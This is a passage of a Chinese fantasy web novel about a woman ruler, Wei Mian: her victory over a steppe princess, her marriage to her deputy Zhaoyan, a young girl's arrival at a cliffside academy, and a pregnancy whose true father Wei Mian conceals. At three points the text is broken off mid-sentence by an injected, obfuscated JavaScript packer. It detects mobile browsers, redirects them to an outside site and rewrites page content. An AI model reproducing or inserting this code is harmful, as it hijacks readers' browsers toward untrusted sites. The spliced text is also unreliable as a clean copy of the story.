龙卷咆哮着,如同天神之怒,蛮横地碾过山谷!所过之处,无论是北戎的骑兵还是步兵,都被轻易地撕碎、卷起、焚烧......化为乌有! 与此同时,昭彦已率部凿穿了敌阵,直扑向宇文骁所在的位置! “保护亲王!”宇文骁的亲卫们嘶吼着,试图阻拦。 但重伤之下的宇文骁,看着那如同天灾般肆虐的火焰龙卷,看着那个悬浮于关城之上、周身散发着令她都感到心悸的恐怖威压的银甲少年,眼中终于流露出了彻底的绝望与不甘。 我宇文骁纵横草原......竟会败在这样一个娃娃手里?!不......我不甘心! 她猛地举起骨杖,似乎想凝聚最后的力量反扑! 但魏勉冰冷的目光早已锁定了她。 “结束了。”魏勉的声音平静地响起,仿佛在陈述一个既定的事实。 她抬起手,对着宇文骁的方向,轻轻一握。 “噗!” 正欲反扑的宇文骁,身体猛地一僵,仿佛被一只无形的大手攥住了心脏,口中鲜血狂涌,眼中的火焰迅速熄灭,高大的身躯带着无尽的不甘与怨毒,轰然倒下! 草原上令人闻风丧胆的烈焰雌狮,北戎亲王宇文骁,陨! 统率身死,残余的北戎士兵更是兵败如山倒,彻底失去了抵抗的勇气,在魏氏军队与火焰龙卷的双重绞杀下,最终几乎无人生还。 当暴雨渐歇,火焰龙卷散去,残阳再次艰难地穿透云层时,血刃谷内,已是一片尸山血海,如同修罗地狱。 城楼之上,魏勉在斩杀宇文骁之后,也终于耗尽了最后一丝灵力,眼前一黑,身体便向后软倒。 “主上!” 昭彦及时冲上,将她紧紧拥入怀中。他看着怀中脸色苍白、气若游丝却眼神明亮得惊人的女子,心中是后怕、狂喜、骄傲、心疼......无数种情绪交织。 “主上!你赢了!”他声音嘶哑。 魏勉靠在他坚实的胸膛上,感受着那份熟悉的温暖,嘴角露出一抹虚弱却无比耀眼的笑容。她抬起手,轻轻抚上他的脸颊,声音微弱却充满了前所未有的力量与自信: “昭彦......不是‘我’赢了......” “是‘孤’,赢了。” 她的目光望向北方,望向那片更广阔的天地,望着那巨大的、被血染红的太阳,眼中燃烧着熊熊的野心与希望: “成王之基,此战定矣。我的道路...... 从今日起,才算真正开始!” 此战之后,魏勉声威大震,不仅彻底消除了北戎南侵的威胁,更趁势出兵,占领了血刃谷以北、阴山以南的大片水草丰美的土地,极大地拓展了领地。 无数被北戎奴役的小部落和被打散的北戎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817795|175397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力者士兵,慑于她的威名与力量,纷纷前来归附,使得她的军队规模空前壮大,成为周边所有势力中最强大的领主。 更重要的是,经此一役,在生死边缘的极限爆发与感悟中,她的灵力修为突破瓶颈,正式踏入了传说中的“统率之境”!拥有了俯瞰全局、调动天地之力的无上威能。自此,她拥有了足以横扫天下、问鼎中原的实力与资本,“大开杀戒,征战四方”的统一之路,已然在她脚下展开! 血刃谷大捷的消息传开,天下震动。 魏勉的名字,如同燎原的野火,传遍了四方。 在绝对的实力和赫赫战功面前,所有关于她年龄、资历以及与副将昭彦关系的质疑,都烟消云散。魏氏的长辈们再也不敢提及什么“和其他大族联姻”,反而纷纷上表,恭贺主上天命所归,功盖千秋。 在望北城臣民和归附部落的拥戴下,在一片欣欣向荣的气氛中,魏勉做出了一个重要的决定。 她要让昭彦,成为她的首夫。 此时的昭彦,已不再是那个需要她费心铺路的副将。血刃谷一战,他身先士卒,凿穿敌阵,阵斩敌酋,功勋卓著,足以让军中最挑剔的老将也为之侧目。他以实力证明了自己,足以与她并肩而立。 婚礼办得并不算奢华,但却庄重而热烈。在万千将士和领土子民的见证下,在象征大地之母的古老祭坛前,他们交换了誓言。那一刻,魏勉看着眼前这个与自己共历生死、目光中充满了爱意与坚定的男人,心中充满了前所未有的满足与安宁。 昭彦看着身着婚服、容光焕发的魏勉,也觉得此生再无遗憾。 主上......不,勉儿。能和你成婚,是我昭彦此生最大的幸事。 无论前路如何,我定永生追随。 大红的喜烛在鎏金烛台上静静燃烧,温暖的橘红色光芒将整个寝殿映照得喜庆而朦胧。空气中弥漫着淡淡的合欢花香与上等女儿红的醇厚酒意。 这里,是只属于他们二人的洞房。 繁复的婚服已被褪去,只剩下轻软的内衫。魏勉坐在铺着鸳鸯锦被的床榻边,看着眼前这个名义上已是自己“首夫”的男人,心中涌动着前所未有的、复杂而真切的情感。 是喜悦,是满足,是终于将这颗心、这个人,名正言顺地纳入自己羽翼之下的安心。 昭彦站在她面前,也已换下那身象征首夫地位的繁复礼服,只着一件寻常的寝袍。 他似乎还有些不适应这个新的身份,抑或是被这浓郁的、充满了暗示的氛围所感染,耳根微微泛红,眼神却亮得惊人,如同暗夜里燃烧的星辰,贪婪地凝视着她。 他看着她,不再是看着那个高高在上的主上,而是看着他的妻主。 那个他从少年时便偷偷爱慕,与她共历生死,为她欣喜,为她心痛,如今终于可以名正言顺拥抱的女子。 无需言语。 红烛高燃,暖光摇曳。 带着酒意的微醺和心跳的鼓点。 都不重要了。 他只听到自己,用一种近乎哽咽的、沙哑的、全新的称谓,一遍又一遍地唤着她的名字—— “魏勉......魏勉......” 不再是“主上”,也不是“妻主”。 只是“魏勉”。 这两个字,仿佛带着某种魔力,瞬间击溃了他心中最后一道名为“尊卑”的堤坝。积压了数年的爱慕、渴望、隐忍、甚至是一丝不易察觉的怨怼,在这一刻,都化作了最原始、最滚烫的激情,倾泻而出。 他感受到她不同于平日里掌控一切的、此刻全然的柔软与交付。没有了战场上的默契配合,没有了平日里的试探拉扯,只有最本能的靠近,最坦诚的给予,最深刻的拥有。 殿内的温度,越来越高,仿佛要将这浓稠的夜色都一并点燃。 他们没有再说话,只是静静地拥抱着,感受着彼此的体温与心跳,享受着这暴风雨过后、极致的宁静与甜蜜。 这一夜,花烛未灭,情意正浓。 他们互相依偎着,在彼此的呼吸声中沉沉睡去,直至第一缕熹微的晨光,悄悄洒落窗沿,将新婚的寝殿,染上了一层更加温柔、也更加充满希望的金色。 婚后的生活,甜蜜而温馨。虽然魏勉依旧忙于处理日益增多的领地事务和下一步的扩张计划,但她总会抽出时间陪伴昭彦。而昭彦,也终于可以名正言顺地守在她身边,分享她的喜悦,分担她的忧愁。 没过多久,一个更大的喜讯降临——魏勉怀孕了。 她顺利诞下了她们的第一个孩子。 虽然是个男孩,但当魏勉第一次将那个红彤彤的小婴儿抱在怀里时,心中涌起的,是前所未有的、纯粹的母性柔情。 昭彦更是欣喜若狂,小心翼翼地抱着儿子,仿佛捧着世间最珍贵的珍宝。 她们为这个孩子取名为——魏煜。煜,意为光耀、照耀。她们希望这个孩子,能像阳光一样,为她们带来光明与温暖,也照亮宵朝未来的道路。 这个小生命的到来,为他们那充满了铁血与权谋的生活,注入了最柔软而温馨的亮色,也让他们之间那份早已刻入骨髓的感情,变得更加深厚,更加圆满...... 21. 初至钟灵,遥望三宫定其志 北上的路,比裴景珑想象中要漫长,也颠簸得多。 马车在日益崎岖的山路上摇晃前行,窗外的景色从富饶的平原,逐渐变成了连绵起伏的丘陵,最后,化作了巍峨耸立、直插云霄的磅礴山脉——那便是地图上标注的,险峻异常的断云山脉。 当护送她的裴家侍卫指着远处在云雾缭绕间悬于万仞绝壁之上的建筑群,告诉她那便是北辰钟灵书院时,年仅六岁的裴景珑,第一次真切地感受到了什么叫做“震撼”。 那不是她想象中任何一种学院的样子。没有亭台楼阁,没有雕梁画栋。只有如同远古巨人用巨斧开凿出来一般,与黝黑山体融为一体的层层叠叠的石质殿宇和洞窟。 无数条仿佛随时会被山风吹断的细长悬空栈道和索桥,连接着这些建在悬崖峭壁上的蜂巢。浓厚的云雾如同纱幔,时而将它们完全遮蔽,时而又露出一角峥嵘,更显得神秘莫测,高不可攀。 裴景珑的小脸上,写满了惊奇,也有一丝紧张。 马车无法再前行。最后的几里山路,是沿着几乎垂直的、在崖壁上开凿出的狭窄石阶,徒步攀登上去的。寒风如同刀子般刮过脸颊,脚下是深不见底的云海翻腾,若非裴家侍卫一路小心护持,她几乎要站立不稳。 终于,当她气喘吁吁地爬完最后一级台阶,站在那座传说中的登天门前时,渺小感油然而生。高达百丈的巨大石门仿佛连接着天地,门上古老的星辰钟灵图腾散发着淡淡的威压,让她体内的雷霆灵力都忍不住微微躁动起来。 随着侍卫出示信物,石门在一阵沉闷的“嘎吱”声中缓缓开启一道缝隙,一股比外界浓郁精纯数倍,却又带着一丝清冷肃杀之气的灵流扑面而来。 踏入书院的那一刻,仿佛进入了另一个世界。 身后的石门无声关闭,隔绝了尘世的一切喧嚣。眼前,是一片由黑色岩石铺就无比开阔的巨大平台。四周是更加高耸的崖壁和嵌入其中的各式石殿和洞府。建筑风格古朴苍劲,几乎没有任何多余的装饰,只有在廊柱和檐角等处能看到一些象征星辰或古老符文的深刻雕刻。 空气异常清新,却也异常安静,只有山风掠过崖壁的呼啸声,以及远处隐隐传来的整齐划一的呼喝声和兵器碰撞声。 很快,便有身着灰色朴素院服、神情肃穆的执事上前接引了她。裴家的侍卫被客气地请回,不允许再深入。 裴景珑被带到一处偏殿,简单地登记了信息,领取了一套同样朴素但质地极其坚韧耐磨的灰色院服,以及一块刻着她名字和编号的身份令牌。 没有欢迎仪式,没有嘘寒问暖,一切都高效而冰冷。 执事带着她穿行在书院内部。她好奇地打量着四周。 偶尔能看到穿着不同颜色院服的学姐们行色匆匆地走过,她们大多神情专注,很少交谈,每个人身上都散发着精纯的灵力波动,让裴景珑暗自心惊。 这里的人......好像都好厉害...... 她们路过一片建在悬崖边、下方就是万丈深渊的巨大露天训练场,只见数十名和她年纪相仿或稍大一些的学子正在一位表情极其严肃的教习指导下,进行着残酷的灵力对冲训练,失败者会被毫不留情地用灵力鞭挞。裴景珑甚至看到一个女孩因为承受不住而哭泣,立刻被那位如同冰山般的教习用更严厉的方式提点。 裴景珑不由得缩了缩脖子。 “书院之内,依其传承与修行法门,主要分为三大宫。”那寡言的执事主动开口介绍,声音平淡得如同山间的岩石。 她们首先路过一片巨大无比、几乎占据了整个山体阳面的露天试炼场。还未靠近,一股混合着雷鸣、烈焰与金石交击声,充满了狂暴与毁灭气息的灵力洪流便扑面而来! 只见数十名身着象征着力量与征伐的深紫色院服的学子,正在进行着残酷的灵力对冲训练!她们的眼神锐利如刀,神情坚韧,每一次出手都大开大合,充满了力量感。场边,更有一些高年级的学姐正在巨大的沙盘前激烈地推演着什么,争论声、喝令声不绝于耳,充满了铁与血的肃杀之气。 “此乃紫微宫,以先贤月剿为图腾。”执事的声音毫无波澜,“主修强攻掌控、战阵统御,旨在培养未来能独当一面、统御千军的统率与将军。入院弟子,皆是意志坚韧不拔且具备领袖潜质之人。” 裴景珑看着那片充满了力量与荣耀的紫色身影,听着那让她热血沸腾的轰鸣与呼喝,一双黑亮的眼眸瞬间被点燃!她体内的雷霆灵力,仿佛受到了同类的召唤般,不受控制地开始兴奋、奔腾! 执事并未停留,继续向前。转过一个弯,喧嚣与肃杀之气骤然消失,取而代之的,是一股极其安静而精细、带着点草药和特殊矿物气息的氛围。 眼前不再是刀光剑影的试炼场,而是一座座被回廊连接的清雅而肃穆的讲堂与巨大沙盘室。这里的学子们穿着象征着智慧与思辨的青灰色院服,她们或三五成群,围着巨大的沙盘激烈地推演着什么,或手执书卷,在廊下因某个古老的战例而陷入沉思。空气中,弥漫着一股书卷的墨香和棋子落盘时的清脆声响。 “此为天市宫,以先贤怀汐为图腾。”执事的声音依旧平淡无波。“天市宫的学子,不以灵力之刚猛见长,而以智慧之深邃为本。这里的学子主修兵法韬略、战局推演与人心谋略。书院旨在将她们培养成未来能够运筹帷幄的军师、辅佐君王的国之智囊,乃至足以影响天下棋局的执棋者。” 继续前行,映入眼帘的是一座宏伟的巨大石殿。透过巨大的石窗向内望去,只见里面是一排排顶天立地的书架,这里的学子们穿着象征着博学与创造的月白色院服,她们有的正屏息凝神,用极其精微的灵力,在薄如蝉翼的玉片上刻画着复杂的阵法符文;有的则在暖房中,小心翼翼地侍弄着一些散发着奇特光晕的灵植;更远处,似乎还有学子在炼制着什么,丹炉中不时飘出各种奇异的香气。 “此为玉衡宫,以先贤重黎为图腾。”执事介绍道,“主修精微操控、能量转化,以及阵法、幻术、治疗、炼制等各类辅助灵术。招收的多是那些心思细腻、悟性奇高,能于细微处见真章的学子。旨在培养各种领域内的特殊专家。能入此宫者,皆是博闻强识、甘于寂寞的学识之才。” 裴景珑收回目光,再无半分兴趣。心中那份想要立刻进入紫微宫的渴望,变得更加迫切和不容置疑。 转过一个弯,又听到一阵更加激烈、充满了力量感的嘶吼与兵器碰撞声。 她好奇地望去,只见另一片更为开阔也更为简陋的训练场上,一群全是男孩子的身影,正在进行着近乎搏命般的体能训练和器械对打。他们人数很少,大概只有几十人,个个身材矫健,肌肉结实,汗水如同溪流般淌下,眼神却如同饿狼般凶狠! 场边,一个身材异常魁梧的老年力者,正用足以震动山谷的吼声,毫不留情地训斥着每一个动作不到位的学员。 那些就是破军殿的人吗?娘亲说,那是培养最顶级副将的地方...... 那种属于力者的,纯粹而近乎野蛮的力量感,让她这个灵主也感到了一丝莫名的压力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817796|175397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再往前走,她们经过一座隐藏在山坳深处、门口有强大灵力结界守护的巨大石窟,门口石碑上刻着古老的文字——藏星阁。裴景珑能感觉到里面散发出的如同浩瀚星海般的知识气息,让她心生向往。 偶尔,她也能看到一些美好的景象。比如,在某处向阳的山坡上,有学姐正小心翼翼地侍弄着一片散发着奇特光晕的灵植;在某处安静的石亭里,有学姐在抚琴,琴音空灵,引来几只不怕人的灵鸟驻足...... 终于,执事将她带到了一间位于半山腰的、极其简朴的石室门前。 “裴景珑,这里便是你未来八年的居所。院规手册在室内桌上,明日辰时到外门广场集合,听候分配。”说完,执事便面无表情地转身离开了。 裴景珑推开石门,里面只有一张石床,一张石桌,一盏油灯,还有一个简陋的衣柜。墙壁是冰冷的岩石,窗外是呼啸的山风和翻滚的云海。 她挺直小小的脊梁,走到石桌前,拿起那本厚厚的、用特殊材质书写的院规手册,借着油灯昏黄的光芒,一字一句地认真阅读起来。 “第一条:实力至上。书院内所有资源,包括灵力洞府、珍稀药材、宗师指点,皆依据定期考核之名次进行分配。优胜劣汰,强者为尊。 第二条:生死自负。凡书院许可范围内的试炼、对战、乃至学宫角斗,皆需全力以赴。期间若有伤残乃至殒命,各安天命,书院概不追责。 第三条:绝对专注。严禁一切与修行无关的娱乐及奢靡享受。凡私藏话本、乐器、华服、珠宝等扰乱道心之物者,一经发现,重罚不贷。” 裴景珑看到这里,嘴角不由自主地微微上翘,眼中闪烁着兴奋的光芒,心想:“这还差不多!就该这样!那些在京都只会哭哭啼啼的温室花朵来了这里,怕是第一天就得哭着滚回去!我喜欢这里!” 她兴致勃勃地继续往下看。 “第四条:抑制浮华。在院期间,所有学子必须统一穿着书院发放的院服、统一使用学院发放的生活用品,不得佩戴任何多余饰品,以磨其心,绝其骄奢。 第五条:知识共享。为促进学子全面发展,各学宫的公开课,其他学宫学子皆可参与旁听。若成绩优异,亦可通过考核,申请选修另一学宫的一门主要课程。 第六条:严禁私情。三大学宫所有学子,禁止与破军殿之学子产生任何不必要的密切往来,严禁与破军殿之学子产生恋爱关系。违者,即刻逐出书院。” “破军殿?就是刚刚看到的那些小子?呵,谁会看得上他们?难道以前真有哪个不开眼的学姐会......?”她心中闪过一丝好奇。 最后,她看到了由戒律使亲自掌管的那长达数页关于懈怠、私斗、闯禁地等行为的严苛惩罚条款,每一条都伴随着极其残酷的后果。 裴景珑合上手册,那双黑亮的眼眸中,非但没有半分畏惧,反而燃烧着更加旺盛的斗志与火焰。 夜深了,山风更劲,如同鬼哭狼嚎。石室里没有暖炉,只有一张薄薄的被褥。景珑裹紧被子,还是觉得有些冷。她抱着膝盖,坐在床上,望着窗外那轮在云雾中时隐时现的钟灵星,小小的身体里,却燃烧着不服输的火焰。 魏恒,你等着!八年后,我一定会变得比你更强!到时候,我们再好好打一场! 不仅是好对手,也要是......最好的朋友! 年仅六岁的裴景珑,在北辰钟灵书院的第一个夜晚,伴随着对家人的思念、对未知的忐忑,以及对未来和那个对手兼朋友的无限憧憬,进入了梦乡。 22. 移花接木,玉牒金册书伪名 这一日,御书房内,魏勉正批阅着来自南方的奏疏,忽觉一阵轻微的恶心与倦意袭来。她微微蹙眉,最初并未在意,只当是连日操劳所致。然而,这种感觉持续了数日,且伴随着灵力运转时一丝隐隐的晦涩感,让她心中不由得一动。 她不动声色地宣召了宫中资历最老,也最得她信任的首席老医官。 依旧是在那间熟悉的布有隔绝探查符文的密室之内。老医官仔细地为魏勉探查了灵力脉络与身体状况后,脸上露出了喜悦的神情。 “启禀王上,”老医官声音低沉,“恭喜王上,您又身怀龙裔了。” 魏勉端着茶盏的手,几不可查地微微一顿。 又有了? 她心中并无多少喜悦,反而立刻升起一股警惕。她维持着面上的平静,淡淡问道:“哦?可能探知其父?” 在这个后宫之中,王上临幸哪位侍君,皆有内廷司的详细记录。医官只需根据受孕时日与王上近期的侍寝记录,便能大致推断出来。当然,最准确的,还是在胎儿稍大后,通过感知其微弱的灵力波动与父系血脉的共鸣来判断——尤其是对于那些本身家族灵力传承有显著特征的。 老医官低下头,声音更低了些:“回王上,根据时日推算,以及老臣方才初步感应到的、那极其微弱却异常活跃的灵力特性......多半是......裴侍君的......” “砰!” 魏勉手中的茶盏重重放在桌案上的声音,泄露了她此刻内心的震动与不悦。 又是裴景然的! 她强压下心头的波澜,声音听不出情绪:“可知性别?” 老医官似乎感受到了什么,额角渗出细汗,声音带着一丝颤抖:“回王上,月份太浅,尚无法百分百确定。但依老臣浅见,胎儿灵力异常活跃强盛,更偏向于,继承了您和裴家双重强大灵力的......女孩。” 女孩! 魏勉的眼神瞬间变得冰冷无比。 一个流淌着她和裴景然血脉,灵力天赋注定不会弱于恒儿,甚至可能更强的女孩!若让她平安降生,将来必定会成为恒儿太子之位最强大的威胁!裴家也必定会倾尽全力扶持她!届时,朝堂之上,后宫之中,恐怕永无宁日! 最简单、最一劳永逸的办法,便是让这个威胁,在尚未成形之前,就悄无声息地消失。 以她如今的灵力修为,只需一个意念,一股精纯灵力的巧妙冲刷,便能让这尚未扎根的生命,化作一缕青烟,神不知,鬼不觉。 这是一个最干净利落,也最冷酷的解决之道。一个尚未出世的胎儿,换宵朝未来数十乃至上百年的储位安稳,免去一场几乎可以预见的手足相残...... 这笔账,无论怎么算,都是划算的。 她的指尖,无意识地,轻轻覆上了自己尚且平坦的小腹。那触感之下,并非为人母的温情与期待,而是一种评估一件需要被处理的物件时,那种冰冷而不带丝毫情感的审视。 然而,就在这个念头几乎要化为决断的瞬间,却又被她自己立刻否决了。 她在内心深处,对这个即将到来的流淌着自己血脉的小生命,产生了一丝极其微弱的,属于母亲的不忍。 魏勉闭上眼睛,靠在椅背上,手指无意识地敲击着扶手。 她猛地睁开眼,眼中已是一片清明与决绝。 她看向依旧跪伏在地大气不敢出的老医官,声音冰冷而不容置疑:“今日之事,只有你知我知。从此刻起,关于孤有孕的消息,特别是关于此胎父系是谁的猜测,太医院上下,必须彻底封锁!若有半点风声泄露......”她的目光如同实质般落在老医官身上,“你知道后果。” 老医官浑身一颤,连忙磕头:“老臣明白!老臣以项上人头担保,绝不敢泄露半句!太医院上下,老臣也会亲自约束!” “很好。”魏勉点了点头,“另外,准备一份脉案记录。”她顿了顿,说:“记录上写明,孤此次身孕,乃是首夫昭彦之功。” 老医官猛地抬头,眼中充满了难以置信的震惊,但迎上魏勉那冰冷决绝的眼神,她立刻又深深地低下了头,声音干涩:“是。臣......遵旨。” “对外,”魏勉继续道,“待月份稍稳,便可放出风声,只说孤再度有孕,父系无可置疑。”她起身,走到窗边,望着窗外深邃的夜空,声音飘忽,“这个孩子,便算在首夫名下吧。也算是全了孤与他多年情分。” 这话说得轻巧,却连老医官都倒吸了一口凉气。 按宵朝律法与传统,“父”的名分,并非天生,只有得到妻主及其母族认可的男子才有当孩子父亲的权利。在民间,孩子的父亲通常默认为妻主的首夫 ,其血脉源流为何并不为人所深究 。而在世家大族及权贵阶层,情况却大有不同。女男结合,多有利益考量,若与背景雄厚的侍君结合诞下子嗣,承认其“父”的名分,便是一种公开的姿态,象征着对其背后母族势力的认可与利益绑定。 而在王室,这份承认则愈发重要,它直接关系到王上对某位侍君及其背后家族的恩宠与信重 。 因此,魏勉此刻这个隐瞒皇嗣真实父系的决定,不予裴景然“父”之名号,实则是一种不合规矩、也极其冷酷的打压。 她知道,她必须让这个戏看起来天衣无缝,真实无比。 所以,她决定,连昭彦本人,也要瞒住。 数日后,一个温暖的午后,魏勉特意来到了昭彦的寝殿。 昭彦刚结束了对魏恒的日常教导,正陪着女儿在院中玩耍。看到魏勉亲自前来,主动上前行礼。 魏勉屏退了左右,拉着昭彦的手,走到一旁的石凳上坐下。她微微低着头,声音带着一丝不同寻常的温柔与忐忑。 “昭彦......”她轻声开口。 “王上?”昭彦见她这般模样,心中不由得有些奇怪,却也有些隐隐的期待。 魏勉抬起头,轻轻将昭彦的手,放在了自己尚且平坦的小腹上,声音带着一丝颤抖:“你感受到了吗?” 昭彦一愣,随即掌心下传来一阵极其微弱、却又无比清晰的、属于新生命的灵力律动!他猛地瞪大了眼睛,难以置信地看向魏勉:“这......这是......?!王上!您......您又......” “嗯。”魏勉红着脸,轻轻点头,眼中是似乎只属于他的柔情与喜悦,“是我们的又一个孩子。” 昭彦彻底呆住了。 他看着魏勉眼中那毫不作伪,与当初怀上魏恒时如出一辙的温柔与期待,感受着掌心下那微弱却真实无比的生命律动...... 突如其来的巨大幸福感,如同最猛烈的海啸,瞬间将他淹没! 他从未想过,在经历了那么多之后,在后宫已有几位皇子和那么多侍君的情况下,她竟然还会怀上他的孩子! “我......我们的......?”他的声音颤抖得不成样子,眼中迅速涌起狂喜的泪水,“王上!您说的是真的?!真的是......臣的?!” 魏勉用力点头,伸出双臂,主动抱住了他的脖子,将脸埋在他肩窝,声音带着一丝哽咽:“嗯!是真的!昭彦......我们的第三个孩子......我好开心......” 昭彦再也控制不住,猛地将她紧紧拥入怀中!他感觉自己像是在做梦!长久来的委屈、不安、嫉妒......在这一刻,仿佛都被这个天大的喜讯彻底冲散了!他只知道,她又怀了他的孩子!她心里最重要的位置,终究还是他的! 他抱着她,又是哭又是笑,语无伦次:“太好了......太好了!勉儿......我们......我们又有孩子了!” 看着昭彦那激动得近乎失态、脸上洋溢着纯粹的狂喜与幸福的模样,魏勉的心,像是被什么东西狠狠刺了一下。 一股浓烈的愧疚感涌上心头,让她几乎就要脱口而出,告诉他真相。 但话到嘴边,看到他眼中那全然的信任与幸福,看到他小心翼翼、无比珍重地抚摸着自己小腹的动作...... 她终究还是将真相,死死地咽了回去。 不......不能说......绝不能说...... 这个秘密,必须永远烂在肚子里。一步错,便只能步步错下去了。 她深吸一口气,压下所有的愧疚与动摇,脸上重新扬起温柔幸福的笑容,紧紧回抱着他,与他一同分享着这份被精心伪造出来的喜悦。 十月后,魏勉诞下一名女婴。因其出生时天边出现瑶光异彩,魏勉为其取名为——魏瑶。 昭彦对这个来之不易的小女儿,更是疼爱到了骨子里。他抱着她,逗弄她,看着她酷似魏勉的眉眼,心中充满了满足与感激。 而魏勉,看着昭彦对魏瑶那份毫无保留的纯粹父爱,看着他因为这个孩子的到来而对自己更加体贴温柔...... 她的内心,在愧疚与庆幸之间,反复拉扯。 这样或许也好。至少瑶儿有了名正言顺的身份,有了爹爹的疼爱。而恒儿的地位,也暂时稳固了。 她知道,从决定欺骗昭彦的那一刻起,她与他之间,那看似弥合的裂痕之下,或许已经埋下了一个更深,也更危险的隐患。 三年后,又是这样一个夜晚。 窗外狂风呼啸,如同鬼哭神嚎,厚重的乌云在天际翻滚,将月光星辰吞噬殆尽。一道道扭曲的闪电如同天神的怒鞭,不时撕裂漆黑的夜幕,紧随其后的,是震耳欲聋、仿佛要将大地都劈开的雷鸣! 魏勉独坐在寝宫的书案后,试图集中精神处理一份紧急军报。然而,每一次闪电亮起,每一次雷声轰鸣,都像是一柄无形重锤狠狠地砸在她的太阳穴上! 那熟悉而剧烈的头痛再次袭来,仿佛有无数根钢针在脑髓深处搅动。她的脸色瞬间变得苍白,呼吸也急促起来,身体不受控制地开始微微颤抖。这是她力量过于强大的证明,也是她力量带来的诅咒——她的灵力与天地间至阳至烈的雷电之力天生相斥,难以调和。 她试图用自身的灵力去平复那份源自天威的压迫与刺痛,却收效甚微。反而因为灵力的运转,与外界狂暴的雷电能量产生了更剧烈的共鸣,让她头痛欲裂,眼前阵阵发黑。 不行......撑不住了...... 一个念头本能地浮现——去找昭彦! 只有他温暖而坚实的怀抱,只有他身上那股纯粹而强大的力者气息,才能像定海神针一样,稍微安抚她体内因雷电刺激而狂躁不安的灵力,缓解这份深入骨髓的痛苦。 这些年,虽然经历了种种拉扯与隔阂,但在每一个这样的雷暴之夜,奔向昭彦的寝殿,寻求他的拥抱与慰藉,几乎已经成为了魏勉的一种近乎羞耻却又无法抗拒的本能。 她猛地站起身,甚至来不及披上外袍,只着一身单薄的寝衣,便跌跌撞撞地冲出了寝殿,冲入了那风雨欲来的黑暗长廊之中。 “王上!王上您去哪儿?!”守夜的宫人惊呼着想要跟上,却被她用一个蕴含着怒意和痛苦的眼神制止。 她此刻只想尽快投入那个唯一能给她带来安宁的怀抱。 然而,就在她即将奔到昭彦寝殿门口时,一名掌管皇子公主日常起居的内侍总管,提着宫灯,神色慌张地从另一个方向匆匆跑来,见到魏勉,噗通一声跪倒在地,声音带着哭腔: “王上!不好了!瑶公主她......她突然大哭不止,浑身打颤,小脸煞白,像是......像是受了极大的惊吓!奴婢们怎么哄都没用啊!” 魏勉奔跑的脚步猛地一顿。 瑶儿?!她也......?! 瑶儿才三岁,平日里虽然也隐隐显露出不俗的灵力潜质,但从未有过如此剧烈的反应......除非她的灵力天赋...... 难道瑶儿的灵力强度......竟也达到了与雷电相冲的地步?! 这......这怎么可能?!她才三岁! 如果真是这样,那说明魏瑶的灵力天赋,恐怕远超她的预估,甚至可能不输给恒儿,或者更强?! 再联想到魏瑶那不能宣之于口的真实父系血脉...... 魏勉只觉得一股寒意从脚底直冲头顶,让她几乎要站立不稳。 不行!绝不能让任何人知道!尤其是昭彦! 她深吸一口气,强行压下心中翻腾的惊涛骇浪和几乎要裂开的头痛,脸上挤出一丝苍白却尽量显得镇定的笑容,对那内侍总管道:“知道了。许是孩子年幼,被雷声惊着了。你先回去,命太医速去看看,好生安抚。孤去去就来。” 她稳住心神,继续快步走向近在咫尺的昭彦寝殿。 推开门,果然看到昭彦因为担心外面的雷暴而尚未安睡,正披衣坐在灯下。看到她衣衫单薄地闯进来,昭彦立刻丢下手中的书卷,快步上前,一把将她搂入怀中,声音充满了担忧:“勉儿!又头痛了?外面雷打得是紧,快进来!” 熟悉的温暖怀抱,瞬间缓解了魏勉一部分的痛苦。她将脸埋入他坚实的胸膛,声音带着无法掩饰的疲惫与颤抖:“昭彦......” 就在这时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817797|175397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,方才那内侍总管又追了过来,在殿外急声禀报:“启禀王上!首夫大人!方才太医去看过瑶公主了,公主殿内一切安好,只是......只是公主似乎也格外畏惧雷电,此刻正哭闹不止,定要......定要寻您二位......” 昭彦闻言一愣,低头看向怀中的魏勉,不由得失笑道:“呵......这孩子,灵力天赋倒是都随了你,连这怕打雷的毛病也一并继承了?” 他的语气是调侃,是幸福,是为人父的骄傲。 她强忍着头痛和内心的惊涛骇浪,脸上却要配合地露出一丝夹杂着无奈和自嘲的虚假笑容: “是啊......这小家伙......灵力太强,与这天地感应过于敏锐,也是件麻烦事......”她声音微弱,带着恰到好处的疲惫,“你去看看瑶儿吧,她还小......孤这里缓一缓便好......” 她知道,她必须将昭彦支开。她需要独自一人,消化这个可怕的发现,并思考对策。 昭彦心疼魏勉,却也担心年幼的小女儿,叮嘱她好生歇息后,便匆匆赶往魏瑶的宫殿。 寝殿内只剩下魏勉一人。她瘫软在榻上,任由那撕裂般的头痛一阵阵袭来。但此刻,身体的痛苦,远不及内心的恐惧与焦虑。 